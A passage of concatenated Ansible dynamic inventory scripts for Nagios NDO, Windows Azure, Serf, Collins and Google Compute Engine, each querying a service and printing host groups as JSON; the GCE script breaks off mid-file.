except ImportError:
    print("Error: SQLAlchemy is needed. Try something like: pip install sqlalchemy")
    exit(1)

class NagiosNDOInventory(object):

    def read_settings(self):
        config = configparser.SafeConfigParser()
        config.read(os.path.dirname(os.path.realpath(__file__)) + '/nagios_ndo.ini')
        if config.has_option('ndo', 'database_uri'):
            self.ndo_database_uri = config.get('ndo', 'database_uri')

    def read_cli(self):
        parser = argparse.ArgumentParser()
        parser.add_argument('--host', nargs=1)
        parser.add_argument('--list', action='store_true')
        self.options = parser.parse_args()

    def __init__(self):

        self.defaultgroup = 'group_all'
        self.ndo_database_uri = None
        self.options = None

        self.read_settings()
        self.read_cli()

        self.result = {}
        self.result['all'] = {}
        self.result['all']['hosts'] = []
        self.result['_meta'] = {}
        self.result['_meta']['hostvars'] = {}

        if self.ndo_database_uri:
            self.get_hosts()
            if self.options.host:
                print(json.dumps({}))
            elif self.options.list:
                print(json.dumps(self.result))
            else:
                print("usage: --list or --host HOSTNAME")
                exit(1)
        else:
            print("Error: Database configuration is missing. See nagios_ndo.ini.")
            exit(1)

NagiosNDOInventory()






#!/usr/bin/env python

'''
Windows Azure external inventory script
=======================================

Generates inventory that Ansible can understand by making API request to
Windows Azure using the azure python library.

NOTE: This script assumes Ansible is being executed where azure is already
installed.

    pip install azure

Adapted from the ansible Linode plugin by Dan Slimmon.
'''

# (c) 2013, John Whitbeck
#
# This file is part of Ansible,
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

######################################################################

# Standard imports
import re
import sys
import argparse
import os
from urlparse import urlparse
from time import time
try:
    import json
except ImportError:
    import simplejson as json

try:
    from azure.servicemanagement import ServiceManagementService
except ImportError as e:
    sys.exit("ImportError: {0}".format(str(e)))

# Imports for ansible
import ConfigParser

class AzureInventory(object):
    def __init__(self):
        """Main execution path."""
        # Inventory grouped by display group
        self.inventory = {}
        # Index of deployment name -> host
        self.index = {}
        self.host_metadata = {}

        # Cache setting defaults.
        # These can be overridden in settings (see `read_settings`).
        cache_dir = os.path.expanduser('~')
        self.cache_path_cache = os.path.join(cache_dir, '.ansible-azure.cache')
        self.cache_path_index = os.path.join(cache_dir, '.ansible-azure.index')
        self.cache_max_age = 0

        # Read settings and parse CLI arguments
        self.read_settings()
        self.read_environment()
        self.parse_cli_args()

        # Initialize Azure ServiceManagementService
        self.sms = ServiceManagementService(self.subscription_id, self.cert_path)

        # Cache
        if self.args.refresh_cache:
            self.do_api_calls_update_cache()
        elif not self.is_cache_valid():
            self.do_api_calls_update_cache()

        if self.args.list_images:
            data_to_print = self.json_format_dict(self.get_images(), True)
        elif self.args.list or self.args.host:
            # Display list of nodes for inventory
            if len(self.inventory) == 0:
                data = json.loads(self.get_inventory_from_cache())
            else:
                data = self.inventory

            if self.args.host:
                data_to_print = self.get_host(self.args.host)
            else:
                # Add the `['_meta']['hostvars']` information.
                hostvars = {}
                if len(data) > 0:
                    for host in set([h for hosts in data.values() for h in hosts if h]):
                        hostvars[host] = self.get_host(host, jsonify=False)
                data['_meta'] = {'hostvars': hostvars}

                # JSONify the data.
                data_to_print = self.json_format_dict(data, pretty=True)
        print(data_to_print)

    def get_host(self, hostname, jsonify=True):
        """Return information about the given hostname, based on what
        the Windows Azure API provides.
        """
        if hostname not in self.host_metadata:
            return "No host found: %s" % json.dumps(self.host_metadata)
        if jsonify:
            return json.dumps(self.host_metadata[hostname])
        return self.host_metadata[hostname]

    def get_images(self):
        images = []
        for image in self.sms.list_os_images():
            if str(image.label).lower().find(self.args.list_images.lower()) >= 0:
                images.append(vars(image))
        return json.loads(json.dumps(images, default=lambda o: o.__dict__))

    def is_cache_valid(self):
        """Determines if the cache file has expired, or if it is still valid."""
        if os.path.isfile(self.cache_path_cache):
            mod_time = os.path.getmtime(self.cache_path_cache)
            current_time = time()
            if (mod_time + self.cache_max_age) > current_time:
                if os.path.isfile(self.cache_path_index):
                    return True
        return False

    def read_settings(self):
        """Reads the settings from the .ini file."""
        config = ConfigParser.SafeConfigParser()
        config.read(os.path.dirname(os.path.realpath(__file__)) + '/windows_azure.ini')

        # Credentials related
        if config.has_option('azure', 'subscription_id'):
            self.subscription_id = config.get('azure', 'subscription_id')
        if config.has_option('azure', 'cert_path'):
            self.cert_path = config.get('azure', 'cert_path')

        # Cache related
        if config.has_option('azure', 'cache_path'):
            cache_path = os.path.expandvars(os.path.expanduser(config.get('azure', 'cache_path')))
            self.cache_path_cache = os.path.join(cache_path, 'ansible-azure.cache')
            self.cache_path_index = os.path.join(cache_path, 'ansible-azure.index')
        if config.has_option('azure', 'cache_max_age'):
            self.cache_max_age = config.getint('azure', 'cache_max_age')

    def read_environment(self):
        ''' Reads the settings from environment variables '''
        # Credentials
        if os.getenv("AZURE_SUBSCRIPTION_ID"):
            self.subscription_id = os.getenv("AZURE_SUBSCRIPTION_ID")
        if os.getenv("AZURE_CERT_PATH"):
            self.cert_path = os.getenv("AZURE_CERT_PATH")

    def parse_cli_args(self):
        """Command line argument processing"""
        parser = argparse.ArgumentParser(
            description='Produce an Ansible Inventory file based on Azure',
        )
        parser.add_argument('--list', action='store_true', default=True,
                            help='List nodes (default: True)')
        parser.add_argument('--list-images', action='store',
                            help='Get all available images.')
        parser.add_argument('--refresh-cache',
            action='store_true', default=False,
            help='Force refresh of thecache by making API requests to Azure '
                 '(default: False - use cache files)',
        )
        parser.add_argument('--host', action='store',
                            help='Get all information about an instance.')
        self.args = parser.parse_args()

    def do_api_calls_update_cache(self):
        """Do API calls, and save data in cache files."""
        self.add_cloud_services()
        self.write_to_cache(self.inventory, self.cache_path_cache)
        self.write_to_cache(self.index, self.cache_path_index)

    def add_cloud_services(self):
        """Makes an Azure API call to get the list of cloud services."""
        try:
            for cloud_service in self.sms.list_hosted_services():
                self.add_deployments(cloud_service)
        except Exception as e:
            sys.exit("Error: Failed to access cloud services - {0}".format(str(e)))

    def add_deployments(self, cloud_service):
        """Makes an Azure API call to get the list of virtual machines
        associated with a cloud service.
        """
        try:
            for deployment in self.sms.get_hosted_service_properties(cloud_service.service_name,embed_detail=True).deployments.deployments:
                self.add_deployment(cloud_service, deployment)
        except Exception as e:
            sys.exit("Error: Failed to access deployments - {0}".format(str(e)))

    def add_deployment(self, cloud_service, deployment):
        """Adds a deployment to the inventory and index"""
        for role in deployment.role_instance_list.role_instances:
            try:
                # Default port 22 unless port found with name 'SSH'
                port = '22'
                for ie in role.instance_endpoints.instance_endpoints:
                    if ie.name == 'SSH':
                        port = ie.public_port
                        break
            except AttributeError as e:
                pass
            finally:
                self.add_instance(role.instance_name, deployment, port, cloud_service, role.instance_status)

    def add_instance(self, hostname, deployment, ssh_port, cloud_service, status):
        """Adds an instance to the inventory and index"""

        dest = urlparse(deployment.url).hostname

        # Add to index
        self.index[hostname] = deployment.name

        self.host_metadata[hostname] = dict(ansible_ssh_host=dest,
                                            ansible_ssh_port=int(ssh_port),
                                            instance_status=status,
                                            private_id=deployment.private_id)

        # List of all azure deployments
        self.push(self.inventory, "azure", hostname)

        # Inventory: Group by service name
        self.push(self.inventory, self.to_safe(cloud_service.service_name), hostname)

        if int(ssh_port) == 22:
            self.push(self.inventory, "Cloud_services", hostname)

        # Inventory: Group by region
        self.push(self.inventory, self.to_safe(cloud_service.hosted_service_properties.location), hostname)

    def push(self, my_dict, key, element):
        """Pushed an element onto an array that may not have been defined in the dict."""
        if key in my_dict:
            my_dict[key].append(element);
        else:
            my_dict[key] = [element]

    def get_inventory_from_cache(self):
        """Reads the inventory from the cache file and returns it as a JSON object."""
        cache = open(self.cache_path_cache, 'r')
        json_inventory = cache.read()
        return json_inventory

    def load_index_from_cache(self):
        """Reads the index from the cache file and sets self.index."""
        cache = open(self.cache_path_index, 'r')
        json_index = cache.read()
        self.index = json.loads(json_index)

    def write_to_cache(self, data, filename):
        """Writes data in JSON format to a file."""
        json_data = self.json_format_dict(data, True)
        cache = open(filename, 'w')
        cache.write(json_data)
        cache.close()

    def to_safe(self, word):
        """Escapes any characters that would be invalid in an ansible group name."""
        return re.sub("[^A-Za-z0-9\-]", "_", word)

    def json_format_dict(self, data, pretty=False):
        """Converts a dict to a JSON object and dumps it as a formatted string."""
        if pretty:
            return json.dumps(data, sort_keys=True, indent=2)
        else:
            return json.dumps(data)


AzureInventory()






#!/usr/bin/env python

# (c) 2015, Marc Abramowitz <marca@surveymonkey.com>
#
# This file is part of Ansible.
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible. If not, see <http://www.gnu.org/licenses/>.

# Dynamic inventory script which lets you use nodes discovered by Serf
# (https://serfdom.io/).
#
# Requires the `serfclient` Python module from
# https://pypi.python.org/pypi/serfclient
#
# Environment variables
# ---------------------
#   - `SERF_RPC_ADDR`
#   - `SERF_RPC_AUTH`
#
# These variables are described at https://www.serfdom.io/docs/commands/members.html#_rpc_addr

import argparse
import collections
import os
import sys

# https://pypi.python.org/pypi/serfclient
from serfclient import SerfClient, EnvironmentConfig

try:
    import json
except ImportError:
    import simplejson as json

_key = 'serf'


def _serf_client():
    env = EnvironmentConfig()
    return SerfClient(host=env.host, port=env.port, rpc_auth=env.auth_key)


def get_serf_members_data():
    return _serf_client().members().body['Members']


def get_nodes(data):
    return [node['Name'] for node in data]


def get_groups(data):
    groups = collections.defaultdict(list)

    for node in data:
        for key, value in node['Tags'].items():
            groups[value].append(node['Name'])

    return groups


def get_meta(data):
    meta = {'hostvars': {}}
    for node in data:
        meta['hostvars'][node['Name']] = node['Tags']
    return meta


def print_list():
    data = get_serf_members_data()
    nodes = get_nodes(data)
    groups = get_groups(data)
    meta = get_meta(data)
    inventory_data = {_key: nodes, '_meta': meta}
    inventory_data.update(groups)
    print(json.dumps(inventory_data))


def print_host(host):
    data = get_serf_members_data()
    meta = get_meta(data)
    print(json.dumps(meta['hostvars'][host]))


def get_args(args_list):
    parser = argparse.ArgumentParser(
        description='ansible inventory script reading from serf cluster')
    mutex_group = parser.add_mutually_exclusive_group(required=True)
    help_list = 'list all hosts from serf cluster'
    mutex_group.add_argument('--list', action='store_true', help=help_list)
    help_host = 'display variables for a host'
    mutex_group.add_argument('--host', help=help_host)
    return parser.parse_args(args_list)


def main(args_list):
    args = get_args(args_list)
    if args.list:
        print_list()
    if args.host:
        print_host(args.host)


if __name__ == '__main__':
    main(sys.argv[1:])






#!/usr/bin/env python

"""
Collins external inventory script
=================================

Ansible has a feature where instead of reading from /etc/ansible/hosts
as a text file, it can query external programs to obtain the list
of hosts, groups the hosts are in, and even variables to assign to each host.

Collins is a hardware asset management system originally developed by
Tumblr for tracking new hardware as it built out its own datacenters.  It
exposes a rich API for manipulating and querying one's hardware inventory,
which makes it an ideal 'single point of truth' for driving systems
automation like Ansible.  Extensive documentation on Collins, including a quickstart,
API docs, and a full reference manual, can be found here:

http://tumblr.github.io/collins

This script adds support to Ansible for obtaining a dynamic inventory of
assets in your infrastructure, grouping them in Ansible by their useful attributes,
and binding all facts provided by Collins to each host so that they can be used to
drive automation.  Some parts of this script were cribbed shamelessly from mdehaan's
Cobbler inventory script.

To use it, copy it to your repo and pass -i <collins script> to the ansible or
ansible-playbook command; if you'd like to use it by default, simply copy collins.ini
to /etc/ansible and this script to /etc/ansible/hosts.

Alongside the options set in collins.ini, there are several environment variables
that will be used instead of the configured values if they are set:

 - COLLINS_USERNAME - specifies a username to use for Collins authentication
 - COLLINS_PASSWORD - specifies a password to use for Collins authentication
 - COLLINS_ASSET_TYPE - specifies a Collins asset type to use during querying;
   this can be used to run Ansible automation against different asset classes than
   server nodes, such as network switches and PDUs
 - COLLINS_CONFIG - specifies an alternative location for collins.ini, defaults to
   <location of collins.py>/collins.ini

If errors are encountered during operation, this script will return an exit code of
255; otherwise, it will return an exit code of 0.

Collins attributes are accessible as variables in ansible via the COLLINS['attribute_name'].

Tested against Ansible 1.8.2 and Collins 1.3.0.
"""

# (c) 2014, Steve Salevan <steve.salevan@gmail.com>
#
# This file is part of Ansible.
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

######################################################################


import argparse
import ConfigParser
import logging
import os
import re
import sys
from time import time
import traceback
import urllib

try:
    import json
except ImportError:
    import simplejson as json

from six import iteritems

from ansible.module_utils.urls import open_url

class CollinsDefaults(object):
    ASSETS_API_ENDPOINT = '%s/api/assets'
    SPECIAL_ATTRIBUTES = set([
        'CREATED',
        'DELETED',
        'UPDATED',
        'STATE',
    ])
    LOG_FORMAT = '%(asctime)-15s %(message)s'


class Error(Exception):
    pass


class MaxRetriesError(Error):
    pass


class CollinsInventory(object):

    def __init__(self):
        """ Constructs CollinsInventory object and reads all configuration. """

        self.inventory = dict()  # A list of groups and the hosts in that group
        self.cache = dict()  # Details about hosts in the inventory

        # Read settings and parse CLI arguments
        self.read_settings()
        self.parse_cli_args()

        logging.basicConfig(format=CollinsDefaults.LOG_FORMAT,
            filename=self.log_location)
        self.log = logging.getLogger('CollinsInventory')

    def _asset_get_attribute(self, asset, attrib):
        """ Returns a user-defined attribute from an asset if it exists; otherwise,
            returns None. """

        if 'ATTRIBS' in asset:
            for attrib_block in asset['ATTRIBS'].keys():
                if attrib in asset['ATTRIBS'][attrib_block]:
                    return asset['ATTRIBS'][attrib_block][attrib]
        return None

    def _asset_has_attribute(self, asset, attrib):
        """ Returns whether a user-defined attribute is present on an asset. """

        if 'ATTRIBS' in asset:
            for attrib_block in asset['ATTRIBS'].keys():
                if attrib in asset['ATTRIBS'][attrib_block]:
                    return True
        return False

    def run(self):
        """ Main execution path """

        # Updates cache if cache is not present or has expired.
        successful = True
        if self.args.refresh_cache:
            successful = self.update_cache()
        elif not self.is_cache_valid():
            successful = self.update_cache()
        else:
            successful = self.load_inventory_from_cache()
            successful &= self.load_cache_from_cache()

        data_to_print = ""

        # Data to print
        if self.args.host:
            data_to_print = self.get_host_info()

        elif self.args.list:
            # Display list of instances for inventory
            data_to_print = self.json_format_dict(self.inventory, self.args.pretty)

        else:  # default action with no options
            data_to_print = self.json_format_dict(self.inventory, self.args.pretty)

        print(data_to_print)
        return successful

    def find_assets(self, attributes = {}, operation = 'AND'):
        """ Obtains Collins assets matching the provided attributes. """

        # Formats asset search query to locate assets matching attributes, using
        # the CQL search feature as described here:
        # http://tumblr.github.io/collins/recipes.html
        attributes_query = [ '='.join(attr_pair)
            for attr_pair in iteritems(attributes) ]
        query_parameters = {
            'details': ['True'],
            'operation': [operation],
            'query': attributes_query,
            'remoteLookup': [str(self.query_remote_dcs)],
            'size': [self.results_per_query],
            'type': [self.collins_asset_type],
        }
        assets = []
        cur_page = 0
        num_retries = 0
        # Locates all assets matching the provided query, exhausting pagination.
        while True:
            if num_retries == self.collins_max_retries:
                raise MaxRetriesError("Maximum of %s retries reached; giving up" % \
                    self.collins_max_retries)
            query_parameters['page'] = cur_page
            query_url = "%s?%s" % (
                (CollinsDefaults.ASSETS_API_ENDPOINT % self.collins_host),
                urllib.urlencode(query_parameters, doseq=True)
            )
            try:
                response = open_url(query_url,
                        timeout=self.collins_timeout_secs,
                        url_username=self.collins_username,
                        url_password=self.collins_password)
                json_response = json.loads(response.read())
                # Adds any assets found to the array of assets.
                assets += json_response['data']['Data']
                # If we've retrieved all of our assets, breaks out of the loop.
                if len(json_response['data']['Data']) == 0:
                    break
                cur_page += 1
                num_retries = 0
            except:
                self.log.error("Error while communicating with Collins, retrying:\n%s",
                    traceback.format_exc())
                num_retries += 1
        return assets

    def is_cache_valid(self):
        """ Determines if the cache files have expired, or if it is still valid """

        if os.path.isfile(self.cache_path_cache):
            mod_time = os.path.getmtime(self.cache_path_cache)
            current_time = time()
            if (mod_time + self.cache_max_age) > current_time:
                if os.path.isfile(self.cache_path_inventory):
                    return True

        return False

    def read_settings(self):
        """ Reads the settings from the collins.ini file """

        config_loc = os.getenv('COLLINS_CONFIG',
            os.path.dirname(os.path.realpath(__file__)) + '/collins.ini')

        config = ConfigParser.SafeConfigParser()
        config.read(os.path.dirname(os.path.realpath(__file__)) + '/collins.ini')

        self.collins_host = config.get('collins', 'host')
        self.collins_username = os.getenv('COLLINS_USERNAME',
            config.get('collins', 'username'))
        self.collins_password = os.getenv('COLLINS_PASSWORD',
            config.get('collins', 'password'))
        self.collins_asset_type = os.getenv('COLLINS_ASSET_TYPE',
            config.get('collins', 'asset_type'))
        self.collins_timeout_secs = config.getint('collins', 'timeout_secs')
        self.collins_max_retries = config.getint('collins', 'max_retries')

        self.results_per_query = config.getint('collins', 'results_per_query')
        self.ip_address_index = config.getint('collins', 'ip_address_index')
        self.query_remote_dcs = config.getboolean('collins', 'query_remote_dcs')
        self.prefer_hostnames = config.getboolean('collins', 'prefer_hostnames')

        cache_path = config.get('collins', 'cache_path')
        self.cache_path_cache = cache_path + \
            '/ansible-collins-%s.cache' % self.collins_asset_type
        self.cache_path_inventory = cache_path + \
            '/ansible-collins-%s.index' % self.collins_asset_type
        self.cache_max_age = config.getint('collins', 'cache_max_age')

        log_path = config.get('collins', 'log_path')
        self.log_location = log_path + '/ansible-collins.log'

    def parse_cli_args(self):
        """ Command line argument processing """

        parser = argparse.ArgumentParser(
            description='Produces an Ansible Inventory file based on Collins')
        parser.add_argument('--list',
            action='store_true', default=True, help='List instances (default: True)')
        parser.add_argument('--host',
            action='store', help='Get all the variables about a specific instance')
        parser.add_argument('--refresh-cache',
            action='store_true', default=False,
            help='Force refresh of cache by making API requests to Collins ' \
                 '(default: False - use cache files)')
        parser.add_argument('--pretty',
            action='store_true', default=False, help='Pretty print all JSON output')
        self.args = parser.parse_args()

    def update_cache(self):
        """ Make calls to Collins and saves the output in a cache """

        self.cache = dict()
        self.inventory = dict()

        # Locates all server assets from Collins.
        try:
            server_assets = self.find_assets()
        except:
            self.log.error("Error while locating assets from Collins:\n%s",
                traceback.format_exc())
            return False

        for asset in server_assets:
            # Determines the index to retrieve the asset's IP address either by an
            # attribute set on the Collins asset or the pre-configured value.
            if self._asset_has_attribute(asset, 'ANSIBLE_IP_INDEX'):
                ip_index = self._asset_get_attribute(asset, 'ANSIBLE_IP_INDEX')
                try:
                    ip_index = int(ip_index)
                except:
                    self.log.error(
                        "ANSIBLE_IP_INDEX attribute on asset %s not an integer: %s", asset,
                        ip_index)
            else:
                ip_index = self.ip_address_index

            asset['COLLINS'] = {}

            # Attempts to locate the asset's primary identifier (hostname or IP address),
            # which will be used to index the asset throughout the Ansible inventory.
            if self.prefer_hostnames and self._asset_has_attribute(asset, 'HOSTNAME'):
                asset_identifier = self._asset_get_attribute(asset, 'HOSTNAME')
            elif 'ADDRESSES' not in asset:
                self.log.warning("No IP addresses found for asset '%s', skipping",
                    asset)
                continue
            elif len(asset['ADDRESSES']) < ip_index + 1:
                self.log.warning(
                    "No IP address found at index %s for asset '%s', skipping",
                    ip_index, asset)
                continue
            else:
                asset_identifier = asset['ADDRESSES'][ip_index]['ADDRESS']

            # Adds an asset index to the Ansible inventory based upon unpacking
            # the name of the asset's current STATE from its dictionary.
            if 'STATE' in asset['ASSET'] and asset['ASSET']['STATE']:
                state_inventory_key = self.to_safe(
                    'STATE-%s' % asset['ASSET']['STATE']['NAME'])
                self.push(self.inventory, state_inventory_key, asset_identifier)

            # Indexes asset by all user-defined Collins attributes.
            if 'ATTRIBS' in asset:
                for attrib_block in asset['ATTRIBS'].keys():
                    for attrib in asset['ATTRIBS'][attrib_block].keys():
                        asset['COLLINS'][attrib] = asset['ATTRIBS'][attrib_block][attrib]
                        attrib_key = self.to_safe('%s-%s' % (attrib, asset['ATTRIBS'][attrib_block][attrib]))
                        self.push(self.inventory, attrib_key, asset_identifier)

            # Indexes asset by all built-in Collins attributes.
            for attribute in asset['ASSET'].keys():
                if attribute not in CollinsDefaults.SPECIAL_ATTRIBUTES:
                    attribute_val = asset['ASSET'][attribute]
                    if attribute_val is not None:
                        attrib_key = self.to_safe('%s-%s' % (attribute, attribute_val))
                        self.push(self.inventory, attrib_key, asset_identifier)

            # Indexes asset by hardware product information.
            if 'HARDWARE' in asset:
                if 'PRODUCT' in asset['HARDWARE']['BASE']:
                    product = asset['HARDWARE']['BASE']['PRODUCT']
                    if product:
                        product_key = self.to_safe(
                            'HARDWARE-PRODUCT-%s' % asset['HARDWARE']['BASE']['PRODUCT'])
                        self.push(self.inventory, product_key, asset_identifier)

            # Indexing now complete, adds the host details to the asset cache.
            self.cache[asset_identifier] = asset

        try:
            self.write_to_cache(self.cache, self.cache_path_cache)
            self.write_to_cache(self.inventory, self.cache_path_inventory)
        except:
            self.log.error("Error while writing to cache:\n%s", traceback.format_exc())
            return False
        return True

    def push(self, dictionary, key, value):
        """ Adds a value to a list at a dictionary key, creating the list if it doesn't
            exist. """

        if key not in dictionary:
            dictionary[key] = []
        dictionary[key].append(value)

    def get_host_info(self):
        """ Get variables about a specific host. """

        if not self.cache or len(self.cache) == 0:
            # Need to load index from cache
            self.load_cache_from_cache()

        if not self.args.host in self.cache:
            # try updating the cache
            self.update_cache()

            if not self.args.host in self.cache:
                # host might not exist anymore
                return self.json_format_dict({}, self.args.pretty)

        return self.json_format_dict(self.cache[self.args.host], self.args.pretty)

    def load_inventory_from_cache(self):
        """ Reads the index from the cache file sets self.index """

        try:
            cache = open(self.cache_path_inventory, 'r')
            json_inventory = cache.read()
            self.inventory = json.loads(json_inventory)
            return True
        except:
            self.log.error("Error while loading inventory:\n%s",
                traceback.format_exc())
            self.inventory = {}
            return False

    def load_cache_from_cache(self):
        """ Reads the cache from the cache file sets self.cache """

        try:
            cache = open(self.cache_path_cache, 'r')
            json_cache = cache.read()
            self.cache = json.loads(json_cache)
            return True
        except:
            self.log.error("Error while loading host cache:\n%s",
                traceback.format_exc())
            self.cache = {}
            return False

    def write_to_cache(self, data, filename):
        """ Writes data in JSON format to a specified file. """

        json_data = self.json_format_dict(data, self.args.pretty)
        cache = open(filename, 'w')
        cache.write(json_data)
        cache.close()

    def to_safe(self, word):
        """ Converts 'bad' characters in a string to underscores so they
            can be used as Ansible groups """

        return re.sub("[^A-Za-z0-9\-]", "_", word)

    def json_format_dict(self, data, pretty=False):
        """ Converts a dict to a JSON object and dumps it as a formatted string """

        if pretty:
            return json.dumps(data, sort_keys=True, indent=2)
        else:
            return json.dumps(data)


if __name__ in '__main__':
    inventory = CollinsInventory()
    if inventory.run():
        sys.exit(0)
    else:
        sys.exit(-1)






#!/usr/bin/env python
# Copyright 2013 Google Inc.
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

'''
GCE external inventory script
=================================

Generates inventory that Ansible can understand by making API requests
Google Compute Engine via the libcloud library.  Full install/configuration
instructions for the gce* modules can be found in the comments of
ansible/test/gce_tests.py.

When run against a specific host, this script returns the following variables
based on the data obtained from the libcloud Node object:
 - gce_uuid
 - gce_id
 - gce_image
 - gce_machine_type
 - gce_private_ip
 - gce_public_ip
 - gce_name
 - gce_description
 - gce_status
 - gce_zone
 - gce_tags
 - gce_metadata
 - gce_network

When run in --list mode, instances are grouped by the following categories:
 - zone:
   zone group name examples are us-central1-b, europe-west1-a, etc.
 - instance tags:
   An entry is created for each tag.  For example, if you have two instances
   with a common tag called 'foo', they will both be grouped together under
   the 'tag_foo' name.
 - network name:
   the name of the network is appended to 'network_' (e.g. the 'default'
   network will result in a group named 'network_default')
 - machine type
   types follow a pattern like n1-standard-4, g1-small, etc.
 - running status:
   group name prefixed with 'status_' (e.g. status_running, status_stopped,..)
 - image:
   when using an ephemeral/scratch disk, this will be set to the image name
   used when creating the instance (e.g. debian-7-wheezy-v20130816).  when
   your instance was created with a root persistent disk it will be set to
   'persistent_disk' since there is no current way to determine the image.

Examples:
  Execute uname on all instances in the us-central1-a zone
  $ ansible -i gce.py us-central1-a -m shell -a "/bin/uname -a"

  Use the GCE inventory script to print out instance specific information
  $ contrib/inventory/gce.py --host my_instance

Author: Eric Johnson <erjohnso@google.com>
Contributors: Matt Hite <mhite@hotmail.com>
Version: 0.0.2
'''

__requires__ = ['pycrypto>=2.6']
try:
    import pkg_resources
except ImportError:
    # Use pkg_resources to find the correct versions of libraries and set
    # sys.path appropriately when there are multiversion installs.  We don't
    # fail here as there is code that better expresses the errors where the
    # library is used.
    pass

USER_AGENT_PRODUCT="Ansible-gce_inventory_plugin"
USER_AGENT_VERSION="v2"

import sys
import os
import argparse
import ConfigParser

import logging
logging.getLogger('libcloud.common.google').addHandler(logging.NullHandler())

try:
    import json
except ImportError:
    import simplejson as json

try:
    from libcloud.compute.types import Provider
    from libcloud.compute.providers import get_driver
    _ = Provider.GCE
except:
    sys.exit("GCE inventory script requires libcloud >= 0.13")


class GceInventory(object):
    def __init__(self):
        # Read settings and parse CLI arguments
        self.parse_cli_args()
        self.config = self.get_config()
        self.driver = self.get_gce_driver()
        self.ip_type = self.get_inventory_options()
        if self.ip_type:
            self.ip_type = self.ip_type.lower()

        # Just display data for specific host
        if self.args.host:
            print(self.json_format_dict(self.node_to_dict(
                    self.get_instance(self.args.host)),
                    pretty=self.args.pretty))
            sys.exit(0)

        zones = self.parse_env_zones()

        # Otherwise, assume user wants all instances grouped
        print(self.json_format_dict(self.group_instances(zones),
            pretty=self.args.pretty))
        sys.exit(0)

    def get_config(self):
        """
        Populates a SafeConfigParser object with defaults and
        attempts to read an .ini-style configuration from the filename
        specified in GCE_INI_PATH. If the environment variable is
        not present, the filename defaults to gce.ini in the current
        working directory.
        """
        gce_ini_default_path = os.path.join(
            os.path.dirname(os.path.realpath(__file__)), "gce.ini")
        gce_ini_path = os.environ.get('GCE_INI_PATH', gce_ini_default_path)

        # Create a ConfigParser.
        # This provides empty defaults to each key, so that environment
        # variable configuration (as opposed to INI configuration) is able
        # to work.
        config = ConfigParser.SafeConfigParser(defaults={
            'gce_service_account_email_address': '',
            'gce_service_account_pem_file_path': '',
            'gce_project_id': '',
            'libcloud_secrets': '',
            'inventory_ip_type': '',
        })
        if 'gce' not in config.sections():
            config.add_section('gce')
        if 'inventory' not in config.sections():
            config.add_section('inventory')

        config.read(gce_ini_path)

        #########
        # Section added for processing ini settings
        #########

        # Set the instance_states filter based on config file options
        self.instance_states = []
        if config.has_option('gce', 'instance_states'):
            states = config.get('gce', 'instance_states')
            # Ignore if instance_states is an empty string.
            if states:
                self.instance_states = states.split(',')

        return config

    def get_inventory_options(self):
        """Determine inventory options. Environment variables always
        take precedence over configuration files."""
        ip_type = self.config.get('inventory', 'inventory_ip_type')
        # If the appropriate environment variables are set, they override
        # other configuration
        ip_type = os.environ.get('INVENTORY_IP_TYPE', ip_type)
        return ip_type

    def get_gce_driver(self):
        """Determine the GCE authorization settings and return a
        libcloud driver.
        """
        # Attempt to get GCE params from a configuration file, if one
        # exists.
        secrets_path = self.config.get('gce', 'libcloud_secrets')
        secrets_found = False
        try:
            import secrets
            args = list(getattr(secrets, 'GCE_PARAMS', []))
            kwargs = getattr(secrets, 'GCE_KEYWORD_PARAMS', {})
            secrets_found = True
        except:
            pass

        if not secrets_found and secrets_path:
            if not secrets_path.endswith('secrets.py'):
                err = "Must specify libcloud secrets file as "
                err += "/absolute/path/to/secrets.py"
                sys.exit(err)
            sys.path.append(os.path.dirname(secrets_path))
            try:
                import secrets
                args = list(getattr(secrets, 'GCE_PARAMS', []))
                kwargs = getattr(secrets, 'GCE_KEYWORD_PARAMS', {})
                secrets_found = True
            except:
                pass
        if not secrets_found:
            args = [
                self.config.get('gce','gce_service_account_email_address'),
                self.config.get('gce','gce_service_account_pem_file_path')
            ]
            kwargs = {'project': self.config.get('gce', 'gce_project_id')}

        # If the appropriate environment variables are set, they override
        # other configuration; process those into our args and kwargs.
        args[0] = os.environ.get('GCE_EMAIL', args[0])
        args[1] = os.environ.get('GCE_PEM_FILE_PATH', args[1])
        kwargs['project'] = os.environ.get('GCE_PROJECT', kwargs['project'])

        # Retrieve and return the GCE driver.
        gce = get_driver(Provider.GCE)(*args, **kwargs)
        gce.connection.user_agent_append(
            '%s/%s' % (USER_AGENT_PRODUCT, USER_AGENT_VERSION),
        )
        return gce

    def parse_env_zones(self):
        '''returns a list of comma seperated zones parsed from the GCE_ZONE environment variable.
        If provided, this will be used to filter the results of the grouped_instances call'''
        import csv
        reader = csv.reader([os.environ.get('GCE_ZONE',"")], skipinitialspace=True)
        zones = [r for r in reader]
        return [z for z in zones[0]]

    def parse_cli_args(self):
        ''' Command line argument processing '''

